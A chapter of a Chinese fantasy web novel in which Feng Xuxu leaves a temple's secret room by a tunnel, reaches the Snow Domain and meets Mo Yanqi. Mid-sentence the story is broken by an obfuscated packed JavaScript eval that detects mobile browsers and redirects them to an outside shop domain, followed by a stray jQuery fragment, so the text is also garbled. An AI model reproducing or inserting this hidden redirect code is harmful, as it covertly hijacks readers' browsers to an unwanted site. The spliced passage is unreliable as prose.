白雾生也不知是太虚弱又昏了过去,还是不想理封栩栩,说完那一句后又没了声响。
封栩栩是推他不是,不推他也不是,只好喊来一旁的向流帮忙。
“小道士,小道士,你快过来帮我把他搬开!”
可封栩栩的声音落入冰冷的空气里,突然就没了回音。
她四处看看,这密室里,哪还有向流的影子。
人呢?
“向流?”
封栩栩觉察出不对劲,又轻声唤了一声小道士的名字。
果然,这一声依旧没有得到那人的回应。
封栩栩此刻也顾不得白雾生的死活了,慢慢推开他,把他扶起来放到几案后的凳子上。
她就近取下一个烛台,往他们进密室前经过的路那边照了照。
原本站在那的小道士已经不知所踪,他原先站着的地方,只留下了一封信。
封栩栩歪了歪头,有些迷惑地走过去,俯身把那封信捡起来,慢慢拆开信封。
信上只写着两行字——
“密室里有密道,我有事先离开了,二位耐心找找密道,自行离开即可。”
自行离开?
奇怪,小道士怎么一声不吭就走了?
这纪应观的待客之道真是奇怪。
封栩栩慢悠悠走到白雾生身边,把信封随手扔到桌子上,摇了摇头。
道士做事真是神神秘秘,有什么指点的话,直接说出来不就好了,还要我们自己找。
不过这密道,会在什么地方呢。
封栩栩拿着烛台在密室里走来走去走来走去,始终没有找到什么像机关的东西。
她开始触碰密室的各种物件,企图从中找到打开密道的开关。
可她把房间里的东西都动了一遍,也愣是没找到所谓密道的开关。
她有些恼了,随便找了个能坐的地方坐下,把烛台随手放到一个架子上,烦闷地踢了踢桌角。
真是烦人,密道的机关设的那么隐蔽,是为了不让人找到吗?
(路青行:是的。)
封栩栩有些饿了,随手拿起桌子上的糕点往嘴里送,同时还不忘给自己倒点水。
许是确实累了,吃饱喝足后,封栩栩就趴在桌子上睡着了。
她醒来的时候,白雾生正站在她身侧。
他正拿着先前几案上的羊皮纸地图,眼神落在地图的一侧,久久出神。
哎对了,当时只顾着救这大妖怪,倒是忘了那还有张地图,我还忘了看。
封栩栩坐了起来,抬手戳了戳白雾生的腿,说了句废话:
“你醒啦。”
白雾生见她醒了,慢慢收起羊皮纸地图,侧头垂眸看了她一眼,答道:
“嗯。”
封栩栩站起身来,自顾自活动了下四肢,漫不经心地又说了一句:
“你恢复得还挺快的。”
白雾生答:“这次只是天雷的余雷,威力不算大,再加上青行的药酒药劲大,我喝了感觉好多了,现在没多大事了。”
封栩栩了然地点了点头,将他昏迷之后发生的事讲给他听后,随口吐槽道:
“路青行说留了密道给我们,但是我找不到。”
“你说她怎么不直接告诉我们,而是要我们自己去找呢?”
她歪了歪头,转念一想觉得有些不对劲,又补充道:
“莫非,根本就没有什么密道,她是想把我们困在这里?”
白雾生轻笑一声,颇为无奈地打断她的胡思乱想:
“你未免把她想得太简单了。”
封栩栩不解:“哦?那您有何高见?”
白雾生回过身,难得地好脾气地解释道:
“之所以让你找密道,是在等我醒过来。”
“密道的开启机关比较复杂,绝对不是你能恰巧碰上的。”
“而我,知道机关在哪,怎么破。”
封栩栩腹诽一句:这小道士真是心机深沉啊,也不直说,害我白白找了那么久!
白雾生说完,自顾自走到一面平平无奇的石墙前面,按顺序按动了五六处机关,这时,书架突然移开了。
书架后面,有一条黑漆漆深不见底的密道。
哦,原来在这啊。
小道士,我倒要看看你给我准备了什么惊喜。
封栩栩眼睛一亮,顺手拿起一个烛台跑了过去。
她走过去拍了一下白雾生的肩,不吝赞美道:
“大妖怪,真有你的,我们快走吧。”
她说完就身先士卒,一个人钻进了密道里。
白雾生却不为所动。
她不解,站在密道入口冲白雾生招招手,催促道:
“来啊,快下来啊,还等什么。”
白雾生抬手,把手里的地图一把丢给她,脸色有些凝重。
“接下来的路要你自己走了,我没办法陪你去。”
白雾生突然来这么一出,搞得封栩栩满头雾水。
她不解,下意识皱眉问道:
“啊?为什么?”
白雾生随手往密道入口施了个法术,一道白光随他动作撞向封栩栩。
封栩栩见白雾生突然袭击,下意识侧身避开。
但那道白光还没碰到封栩栩,刚刚碰到密道口的屏障便烟消云散了。
白雾生双手环胸,眼神示意了下密道入口的无形屏障,继续道:
“这是道家法术,我是妖怪,这是专门给我设的禁制,她不让我去。”
他顿了一下又补充道:
“她这么安排自然有她的道理,你放心,她不会害你,你大胆往前走就好。”
封栩栩犹豫了一下,又有些担心白雾生的雷劫,犹豫再三,还是决定去问:
“那你的雷劫怎么办?你一个人应付得来吗?”
白雾生安抚她,“你放心,她不会害我,她这么安排,兴许我的雷劫已经结束了。”
“你不用管我,放心去吧。”
你这妖怪还真是心大。
这里毕竟是道观,难保他们不会趁你伤重除了你这大妖怪。
趁你病,要你命!
不过这说到底也是这妖怪自己的事,我答应了二少爷要陪他去找他爹,结果莫名消失了,他和师兄此刻一定担心地四处寻我吧。
封栩栩又看了白雾生一会儿,心中默默权衡了一阵利弊,最终还是听了白雾生的建议,同他告别:
“那我就先走了,这里毕竟是道观,你自己小心一点。”
白雾生觉得聒噪,不耐地朝她摆摆手,“快去吧。”
封栩栩见白雾生如此催促,加上她心中也确实对密道那边颇为好奇,便没再说话转身往密道里走。
密道里阴暗逼仄,其中还有几道岔路,封栩栩佝偻着摸黑走了好久,才终于看到一丝丝光亮。
终于到了,我的腰都要断了。
她想了想,觉得既然路青行特地留了条密道给她,那密道之外,一点不是个普通地方。
她犹豫了一下,定了定神,做好了无论外面是什么她都接受的准备,走了过去。
好,就是这了。
她又往光亮那处走了走,走到光亮的正下方,抬手摸向头顶的光源。
在她手指触碰到光源的一瞬间,她脚下一空,掉了下去。
封栩栩:???
啊这?
“啊啊啊啊啊——”
不愧是你,路青行!
你又算计我!
封栩栩在中下坠了很久,久到她自己也不知道过了多久。
不过,让她意外的事,她没有摔死,落地的时候,她也并没有很疼。
甚至,连她手中烛台上的烛火也没有灭。
看来这个密道,被哪位高人施了法。
封栩栩摸着石墙爬了起来,用烛火探路,继续慢慢猫着身子顺着密道往前走。
啊我的老天爷啊,这密道到底是有多长啊!
可能是上天终于听到了封栩栩的呼唤,她不遗余力地走,终于走到了密道尽头。
前面,突然没有路了。
她把前前后后上上下下摸了一遍,发现密道上面的石板是可以抬起来的。
她用力往上一抬,石板被移开了。
她吹灭了烛台上的蜡烛,把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766940|209739||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
烛台放到了地上,羊皮纸地图揣进了怀里,从地洞的尽头探出头来。
眼前是一片苍茫的天地,朔风将飞雪吹的到处都是。
封栩栩猛地意识到,这里就是——
雪域。
封栩栩对路青行的佩服之情油然而生,真想不到,路青行要给我的东西,居然是通向雪域的地图。
传说中的雪域,入口竟然在这种地方。
不对,这里,好像已经是雪域中了。
“栩栩?”
一个熟悉的声音从不远处传来。
封栩栩抬头朝声音的来源看去,居然看到了莫烟启。
“二少爷?”
封栩栩怎么都没想到,会在这个地方碰到莫烟启,她正愁怎么和他们会和呢。
不过,与她所处的地方不同的是,莫烟启那边,是之前的聚贤林,两者之间有一道春与冬的分界线。
封栩栩一个飞身,出了密道,又回头仔仔细细地把密道盖好,这才跑去找莫烟启。
莫烟启也快步朝封栩栩走过去,一边走一边出声询问:
“栩栩,你怎么会在这?”
封栩栩一把拉住莫烟启,把他拉进雪域里,催促道:
“别管那么多了,这几天发生了好多匪夷所思的事,回头再跟你说,我们先去办正事。”
莫烟启见她不想说,也就没再问。
封栩栩突然停下脚步,疑惑道:“对了,我师兄呢?”
她凭空消失,按照师兄的个性,他没理由不来啊。
莫烟启垂眸,一秒切换绿茶,道:“我也不知道,可能庄大哥他有别的事要忙吧。”
封栩栩眼皮抽了抽,二少爷,你演得也太假了点吧。
封栩栩没有戳穿他,敷衍道:“好吧,那我们走吧。”
天已经快要黑了,在完全陌生的环境里,越黑,就意味着越不安全。
四月的夜风还是很凉,封栩栩站起来,带莫烟启往雪域里面走。
得赶紧找个可以落脚的地方才是。
“跟我来。”
莫烟启闻言,默默跟了上去。
封栩栩越走越累,忍不住腹诽,赶紧找到雪域的主人赶紧回去,这里真不是人呆的地方。
突然,有什么东西从不远处飞速闪过。
封栩栩敏锐地转头去看,恍惚间,只看到一个老妪模样的人从前方的空地上跑了过去。
她立马拉了拉莫烟启,“快,跟我来!”
封栩栩赶紧拔腿就朝老妪跑的方向追过去,可为时已晚,老妪已经不见了。
莫烟启快步跟上去,四处看了看,问道:
“怎么了?”
封栩栩用下巴指了指前面,冲他解释道:
“我刚刚看到那边有人。”
她补充道:“还有我打听到,莫老爷进过雪域。”
莫烟启一听这话,立马急了,飞速朝封栩栩说的那个方向追了过去,跑出去好远。
“二少爷......你,你等等我。”
封栩栩实在跟不上,就喘着粗气,在他身后慢悠悠地跟着。
二人在雪域里转了好久,也没找到什么线索。
正当这时,远处缓缓走来了一个披着斗篷白衣女子。
封栩栩猜想,这个女子特别穿了斗篷御寒,就应该是久居这雪域中的人,那她就极有可能知道莫老爷的事。
封栩栩想到这,赶紧拉了拉身侧的莫烟启,“走,我们过去看看。”
莫烟启一看到人,马上急不可耐地出声,“姑娘!”
那白衣女子闻声,往他们这边看了一眼。
莫烟启快步朝那女子的方向走,一边走一边儿继续问道:“请问你是住在这里吗?”
“十五年前,你有没有见过一个,和我长得很像的,说是要为娘子求药的男子?”
封栩栩叹气。
如果莫老爷来过这里,那也是十五年前了,眼前这姑娘顶多十六七岁,哪里会记得那时候的事。
白衣女子停了下来,垂着眸子犹豫了一下,“我......”
她迟疑了片刻,继续道,“我见过。”